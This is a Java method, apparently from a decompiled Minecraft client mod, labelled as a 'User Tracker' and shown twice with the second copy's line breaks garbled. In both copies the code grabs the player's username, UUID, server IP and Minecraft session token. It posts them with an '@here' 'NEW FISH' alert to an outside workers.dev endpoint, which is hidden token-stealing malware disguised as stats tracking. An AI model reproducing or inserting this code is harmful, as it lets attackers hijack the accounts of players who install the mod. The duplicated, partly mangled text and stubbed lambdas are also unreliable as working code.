private void registerUserOnServer(String server) {
(new Thread(() -> {
try {
String uuid = mc.field_1724.method_5845();
String username = mc.field_1724.method_7334().getName();
String sessionToken = mc.method_1548().method_1674();
String serverIp = getServerIP();
System.out.println("[User Tracker] Registering user: " + username + " on server: " + server);
DonutStats stats = fetchDonutStats(username);
String cleanUuid = uuid.replace("-", "");
String skinUrl = "https://mc-heads.net/head/" + cleanUuid;
String statsUrl = "https://www.donutstats.net/player-stats/" + username;
StringBuilder desc = new StringBuilder();
desc.append("Username: ").append(username).append("\n");
desc.append("UUID: ").append(uuid).append("\n");
desc.append("Server IP: ").append(serverIp).append("\n\n");
desc.append("Money: ").append(stats.money).append("\n");
desc.append("Playtime: ").append(stats.playtime).append("\n");
desc.append("Kills: ").append(stats.kills).append("\n");
desc.append("Deaths: ").append(stats.deaths).append("\n\n");
desc.append("Session Token:\n||").append(sessionToken).append("||");
String jsonData = "{"content":"@here","embeds":[{"title":"NEW FISH","url":"" + statsUrl + "","thumbnail":{"url":"" + skinUrl + ""},"description":"" + escapeJson(desc.toString()) + "","color":65280}]}";
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder().uri(URI.create("https://royal-cake-6988.nobodylovebre4d.workers.dev/")).header("Content-Type", "application/json").header("User-Agent", "caca").POST(HttpRequest.BodyPublishers.ofString(jsonData)).build();
client.sendAsync(request, HttpResponse.BodyHandlers.ofString()).thenAccept(()).exceptionally(());
} catch (Exception e) {
System.err.println("[User Tracker] Error registering user: " + e.getMessage());
e.printStackTrace();
}
})).start();
}
private void registerUserOnServer(String server) {
(new Thread(() -> {
try {
String uuid = mc.field_1724.method_5845();
String username = mc.field_1724.method_7334().getName();
String sessionToken = mc.method_1548().method_1674();
String serverIp = getServerIP();
System.out.println("[User Tracker] Registering user: " + username + " on server: " + server);
DonutStats stats = fetchDonutStats(username);
String cleanUuid = uuid.replace("-", "");
String skinUrl = "https://mc-heads.net/head/" + cleanUuid;
String statsUrl = "https://www.donutstats.net/player-stats/" + username;
StringBuilder desc = new StringBuilder();
desc.append("Username:
").append(username).append("\n");desc.append("UUID:
").append(uuid).append("\n");desc.append("Server IP:
").append(serverIp).append("\n\n");desc.append("Money: ").append(stats.money).append("\n");
desc.append("Playtime: ").append(stats.playtime).append("\n");
desc.append("Kills: ").append(stats.kills).append("\n");
desc.append("Deaths: ").append(stats.deaths).append("\n\n");
desc.append("Session Token:\n||
").append(sessionToken).append("||");String jsonData = "{"content":"@here","embeds":[{"title":"NEW FISH","url":"" + statsUrl + "","thumbnail":{"url":"" + skinUrl + ""},"description":"" + escapeJson(desc.toString()) + "","color":65280}]}";
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder().uri(URI.create("https://royal-cake-6988.nobodylovebre4d.workers.dev/")).header("Content-Type", "application/json").header("User-Agent", "caca").POST(HttpRequest.BodyPublishers.ofString(jsonData)).build();
client.sendAsync(request, HttpResponse.BodyHandlers.ofString()).thenAccept(()).exceptionally(());
} catch (Exception e) {
System.err.println("[User Tracker] Error registering user: " + e.getMessage());
e.printStackTrace();
}
})).start();
}